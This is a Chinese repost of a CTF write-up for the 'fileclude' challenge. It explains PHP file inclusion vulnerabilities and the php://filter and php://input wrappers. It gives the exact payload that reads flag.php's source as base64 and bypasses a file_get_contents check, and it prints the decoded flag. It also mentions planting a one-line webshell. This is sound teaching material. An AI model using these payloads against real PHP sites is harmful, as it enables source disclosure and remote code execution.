返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >fileclude(文件包含漏洞及php://input、php://filter的使用)
  • 251
分享到

fileclude(文件包含漏洞及php://input、php://filter的使用)

php文件包含漏洞PHP伪协议web网络安全 2023-09-02 18:09:24 251人浏览 八月长安
摘要

先介绍一些知识 文件包含漏洞 和sql注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。 什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时

先介绍一些知识

文件包含漏洞

sql注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
 

PHP file_get_contents() 函数

file_get_contents() 函数用于将文件的内容读入到一个字符串

和file() 一样,不同的是 file_get_contents() 把文件读入到一个字符串

include 语句

包含并运行指定文件

语法
include 'filename';

被包含文件先按参数给出的路径寻找,如果没有给出目录,只有文件名时则按照include_path指 定的目录寻找。如果在 include_ path下没找到该文件,则 include最后才在调用脚本文件所在的目录和当前工作目录下寻找,如果最后仍 未找到文件则include结构会发出一条警告。

empty() 函数

用于检查一个变量是否为空。

empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。 这意味着 empty() 本质上与 !isset($var) || $var == false 等价。

当变量存在,并且是一个非空非零的值时返回FALSE,否则返回TRUE。

以下的变量会被认为是空的:

  • "" (空字符串)
  • 0 (作为整数的0)
  • 0.0 (作为浮点数的0)
  • "0" (作为字符串的0)
  • NULL
  • FALSE
  • array() (一个空数组)
  • $var; (一个声明了,但是没有值的变量)

isset()函数

用于检测变量是否已设置并且非NULL。

如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。

若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。

PHP伪协议

指的是PHP所支持的协议与封装协议,在WEB渗透漏洞利用中常用于配合文件包含进行web攻击,从而获取网站权限。

php://input(用于执行PHP代码)

是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/fORM-data”时,可以使用php://input来获取原始请求的数据,当enctype等于”multipart/form-data”时php://input是无效的。

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行。

例如:
Http://127.0.0.1/cmd.php?cmd=php://input
POST数据:

利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码。

遇到file_get_contents()要想到用php://input绕过

用法: ?file=php://input POST:需要写入的数据

php://filter(用于读取源码

 读取源代码并进行base64编码输出

一种元封装器,设计用于数据流打开时的筛选过滤应用。

对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。

打开题目链接,代码审计file2被放入了file_get_contents() 函数,且要求返回值为 hello ctf

file1是要包含的文件,且flag应该是在文件flag.php里面

我们要想办法来读取这个文件,使用php://filter伪协议来读取源代码

即 file1=php://filter/read=convert.base64-encode/resource=flag.php

这里出现了file_get_contents()函数,想到用php://input来绕过

即 file2=php://input       POST DATA]: hello ctf

所以payload为

/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

且post传入 hello ctf

 

得到一串base64编码

PD9waHAKZWNobyaiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXtjMjNkY2VlOWYxZTc0NTRlNzVlMTA5OGJlMmZhM2IzOH0=

解码得到源码

$flag = cyberpeace{c23Dcee9f1e7454e75e1098be2fa3b38} 

存在文件包含时使用PHP伪协议

可能遇到的文件包含函数:
1、include 2、require 3、include_once 4、require_once 5、highlight_file

show_source 7、flie 8、readfile 9、file_get_contents 10、file_put_contents 11、fopen

eg:

php://filter/read=convert.base64-encode/resource=[文件名]

读取文件源码(针对php文件需要base64编码)

php://input + [POST DATA]

执行php代码

若有写入权限,写入一句话木马


 

 

来源地址:https://blog.csdn.net/Myon5/article/details/130176864

--结束END--

本文标题: fileclude(文件包含漏洞及php://input、php://filter的使用)

本文链接: https://lsjlt.com/news/391245.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • fileclude(文件包含漏洞及php://input、php://filter的使用)
    先介绍一些知识 文件包含漏洞 和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。 什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时...
    99+
    2023-09-02
    php 文件包含漏洞 PHP伪协议 web 网络安全
  • PHP文件包含哪些漏洞
    这篇文章主要介绍了PHP文件包含哪些漏洞的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇PHP文件包含哪些漏洞文章都会有所收获,下面我们一起来看看吧。漏洞描述文件包含漏洞的产生原因是在通过PHP的函数引入文件时,...
    99+
    2023-06-30
  • 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell
    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径、绝对路径、相对路径) 具有文件可读权限 提交参数http://localhost/include/...
    99+
    2023-09-05
    php 安全 Powered by 金山文档
  • php中什么文件包含漏洞
    这篇文章将为大家详细讲解有关php中什么文件包含漏洞,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1、LFI本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是...
    99+
    2023-06-15
  • PHP文件包含漏洞(利用phpinfo)复现
    漏洞简介: PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来拿到权限。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。 漏洞利用原理: 在给P...
    99+
    2023-09-03
    php 开发语言 安全
  • PHP入门指南:文件包含漏洞
    PHP是一种广泛使用的服务器端编程语言,许多网站和应用程序都使用PHP作为其后端开发语言。然而,与所有编程语言一样,PHP也有其漏洞和安全问题。本文将重点介绍PHP文件包含漏洞,并提供一些简单的建议来帮助您保护您的应用程序免受此类型的攻击。...
    99+
    2023-05-22
    PHP 入门指南 文件包含漏洞
  • 渗透测试-文件包含漏洞以及php伪协议的应用
    文件包含漏洞以及php伪协议的应用 文章目录 文件包含漏洞以及php伪协议的应用前言一、文件包含漏洞本地包含案例演示dvwa(低级)dvwa(中级)dvwa(高级) 二、php伪协议...
    99+
    2023-09-01
    安全性测试 web安全 安全
  • 文件包含漏洞(原理及介绍)
    文件包含漏洞(原理及介绍) File inclusion,文件包含(漏洞)。程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一...
    99+
    2023-09-05
    php 安全 web安全
  • 【网络安全】文件包含漏洞--使用session进行文件包含
    博主昵称:跳楼梯企鹅博主主页面链接:博主主页传送门来源地址:https://blog.csdn.net/weixin_50481708/article/details/126691502...
    99+
    2023-10-06
    前端
  • 文件包含漏洞利用之本地包含配合文件上传包含图片马&&文件包含漏洞利用之远程包含Webshell
    实验原理 文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片...
    99+
    2023-10-26
    php 开发语言
  • 详解PHP渗透测试文件包含漏洞与利用
    目录什么是文件包含漏洞文件包含漏洞的分类本地文件包含漏洞&利用利用条件(以PHP为例)直接访问文件利用协议读取源代码截断%00长度截断PHP的伪协议file://php://...
    99+
    2024-04-02
  • 文件包含漏洞:PHP中通往敏感信息的捷径
    ...
    99+
    2024-04-02
  • 攻防世界CTF —— PHP本地文件包含漏洞解题思路
    原题目如下: 0x00 前言 本题考察的是php本地文件包含,训练题尽量通过理解原理来解题,不要使用工具(例如中国蚁剑、御剑等)。本题有两个Get,一个hello,一个page,page会被include函数包含,并被执行,所...
    99+
    2023-09-16
    php 开发语言 hacks
  • php://filter协议在任意文件读取漏洞(附例题)
    php://filter php://fiter 中文叫 元器封装,咱也不知道为什么这么翻译,目前我的理解是可以通过这个玩意对上面提到的php IO流进行处理,及现在可以对php的 IO流进行一定操作。 过滤器:及通过php://filte...
    99+
    2023-09-13
    php web安全 安全
  • 文件包含及PHP伪协议怎么用
    今天小编给大家分享一下文件包含及PHP伪协议怎么用的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。文件包含文件包含漏洞是“代码...
    99+
    2023-06-30
  • 文件包含漏洞检测工具fimap有什么用
    小编给大家分享一下文件包含漏洞检测工具fimap有什么用,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!文件包含漏洞检测工具fimap在Web应用中,文件包含漏洞(FI)是常见的漏洞。根据包含的文件不同,它分为本地文件包含漏...
    99+
    2023-06-04
  • 关于CVE-2020-1983:Tomcat 文件包含漏洞的问题
    目录一、靶场环境1、漏洞:任意文件包含2、影响版本二、搭建环境1、启动环境2、访问3、漏洞利用4、修复建议起序:漏扫完看报告的时候发现的,复现学习一下。 一、靶场环境 使用的是 gi...
    99+
    2024-04-02
  • PHP文件上传漏洞原理以及防御姿势
    0x00 漏洞描述 ​ 在实际开发过程中文件上传的功能时十分常见的,比如博客系统用户需要文件上传功能来上传自己的头像,写博客时需要上传图片来丰富自己的文章,购物系统在识图搜索时也需要上传图片等,文件上传功能固然重要,但是如果在实现...
    99+
    2023-09-15
    安全 php 服务器 网络安全
  • Web安全领域的探索之远程文件包含漏洞(LFI)
    文件包含渗透 File Inclusion 文件包含漏洞: 即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可 以通过php的某些特...
    99+
    2023-09-15
    web安全 php 安全 java spring boot
  • PHP文件包含的概念是什么
    这篇文章主要介绍了PHP文件包含的概念是什么的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇PHP文件包含的概念是什么文章都会有所收获,下面我们一起来看看吧。一、文件包含的概念  在一个PHP脚本中,去...
    99+
    2023-06-30
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作